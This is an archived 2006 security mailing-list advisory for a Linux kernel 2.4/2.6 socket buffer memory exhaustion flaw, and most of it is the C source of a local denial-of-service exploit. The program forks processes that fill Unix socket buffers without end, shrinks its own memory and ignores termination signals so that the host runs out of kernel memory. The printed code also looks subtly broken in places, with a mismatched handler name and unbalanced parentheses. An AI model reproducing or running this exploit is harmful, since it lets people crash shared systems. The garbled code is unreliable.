

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00042.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 15 Jan 2006 19:08:10 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

SUMMARY

Local exploitation of a memory exhaustion vulnerability in Linux kernel versions 2.4 and 2.6 allows local attackers to cause a denial of service condition, the following exploit code can be used to determine whether your system is vulnerable or not. More information about the vulnerability can be found <<http://www.securiteam.com/unixfocus/6U00P1PEVQ.html>> here.

DETAILS

Vulnerable Systems:

- * Linux kernel version 2.4.22
- * Linux kernel version 2.6.12

Exploit:

/*

* RIP Linux procs :-)

*

* gcc -O2 -fomit-frame-pointer bigrip.c -o bigrip

*

* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

```
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,
MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
```

```
#define SPINME 30
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <fcntl.h>
```

```
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
```

```
#include <linux/net.h>
```

```
#include <asm/page.h>
```

```
#define str(s) #s
#define xstr(s) str(s)
```

```
#define TASK_SIZE 0xc0000000
```

```
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_socketcall __NR_socketcall
#define __NR_sys_write __NR_write
#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_time __NR_time
#define __NR_sys_fcntl __NR_fcntl
#define __NR_sys_fork __NR_fork
#define __NR_sys_close __NR_close
#define __NR_sys_exit __NR_exit
#define __NR_sys_pause __NR_pause
#define __NR_sys_pipe __NR_pipe
#define __NR_sys_getppid __NR_getppid
#define __NR_sys_getpid __NR_getpid
```

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

```
#define ESPTOP (((unsigned)&rip_code_end) & ~(PAGE_SIZE-1)) +  
PAGE_SIZE)  
#define errno ( * (int*) (ESPTOP-4) )  
#define sigcnt ( * (int*) (ESPTOP-8) )
```

```
static void rip_code_end(void);
```

```
// code start
```

```
static void rip_code(void)
```

```
{
```

```
}
```

```
_syscall3(int, sys_fcntl, unsigned int, fd, unsigned int, cmd, unsigned  
long, arg);
```

```
_syscall3(int, sys_write, int, a, void*, b, int, l);
```

```
_syscall3(int, sys_read, int, a, void*, b, int, l);
```

```
_syscall2(int, sys_socketcall, int, c, int *, a);
```

```
_syscall2(int, sys_munmap, ulong, a, ulong, b);
```

```
_syscall2(int, sys_kill, int, c, int, a);
```

```
_syscall1(int, sys_time, void*, t);
```

```
_syscall1(int, sys_pipe, int*, t);
```

```
_syscall1(int, sys_close, int, c);
```

```
_syscall1(int, sys_exit, int, c);
```

```
_syscall0(int, sys_getppid);
```

```
_syscall0(int, sys_getpid);
```

```
_syscall0(int, sys_pause);
```

```
_syscall0(int, sys_fork);
```

```
void static fill_sock(int s, void *buf)
```

```
{
```

```
int r, l;
```

```
l = PAGE_SIZE;
```

```
do {
```

```
redo:
```

```
errno=0;
```

```
r = sys_write(s, buf, l);
```

```
if(r<=0 && (errno==105||errno==11) && l>1 ) {
```

```
l=1;
```

```
goto redo;
```

```
}
```

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

```
} while(r>0);  
}
```

```
void static sighnd(int v)  
{  
volatile int *a = (void*) &sigcnt;
```

```
(*a)++;  
}
```

```
static int my_socketpair(int d, int type, int protocol, int *sv)  
{  
int a[5];  
  
a[0] = d;  
a[1] = type;  
a[2] = protocol;  
a[3] = (int)sv;  
return sys_socketcall(SYS_SOCKETPAIR, a);  
}
```

```
#ifdef SPINME  
static inline void spinme()  
{  
time_t t;  
  
t=sys_time(NULL);  
while(1) {  
if(sys_time(NULL) - t > SPINME)  
break;  
}  
}  
#endif
```

```
void static rip_it(unsigned esp)  
{  
int s[2], p[2], c=0;  
  
sys_pipe(p);  
// be small  
c = ((unsigned)&rip_code) & ~(PAGE_SIZE-1);  
sys_munmap(0, c);  
c = (((unsigned)&rip_code_end) + PAGE_SIZE) & ~(PAGE_SIZE-1);  
sys_munmap(c, TASK_SIZE-c);  
  
#ifdef SPINME  
spinme();
```

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

```
#endif

errno=sigcnt=0;
while(1) {
c = sigcnt;
if(sys_fork()) {
sys_close(p[1]);
do {} while(c==sigcnt && sys_read(p[0], &c, 1) < 1 );
} else {
sys_close(p[0]);
while( 0==my_socketpair(AF_UNIX, SOCK_STREAM, 0, s) ) {
if( sys_fcntl(s[0], F_SETFL, O_NONBLOCK) ) sys_exit(1);
if( sys_fcntl(s[1], F_SETFL, O_NONBLOCK) ) sys_exit(1);
fill_sock(s[0], (void*)esp);
fill_sock(s[1], (void*)esp);
}
do {} while(sys_write(p[1], &c, 1) < 1);
while(1) { sys_kill(sys_getpid(), SIGSTOP); sys_pause(); };
}
}

}

static void move_it()
{
unsigned esp = ESPTOP - PAGE_SIZE;

mprotect((void*)esp, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
esp += PAGE_SIZE - 12;
__asm__ volatile ("movl %0, %%esp" :: "m"(esp) );
rip_it( ESPTOP - PAGE_SIZE );
}

// rip it off
static void rip_code_end(void)
{
}

int main()
{
int c;

signal(SIGCHLD, &signd);
signal(SIGUSR1, &signd);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
```

[EXPL] Linux Kernel Socket Buffer Memory Exhaustion DoS (Exploit)

```
c=open("/dev/null", O_RDWR);
dup2(c, 0);
dup2(c, 1);
dup2(c, 2);
close(c);
// setpgrp();
setuid(0);
if(fork()) exit(0);
move_it();

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:paul@xxxxxxxxxxxx>> Paul Starzetz.

Related article can be found at:

<<http://www.securiteam.com/unixfocus/6U00P1PEVO.html>>
<http://www.securiteam.com/unixfocus/6U00P1PEVO.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [***\[TOOL\] IRC DCC Connect\(\) Blind Port Scanner***](#)
 - Next by Date: [***\[UNIX\] Novell SUSE Linux Enterprise Server Remote Manager Heap Overflow***](#)
 - Previous by thread: [***\[TOOL\] IRC DCC Connect\(\) Blind Port Scanner***](#)
 - Next by thread: [***\[UNIX\] Novell SUSE Linux Enterprise Server Remote Manager Heap Overflow***](#)
 - Index(es):
 - ◆ [***Date***](#)
 - ◆ [***Thread***](#)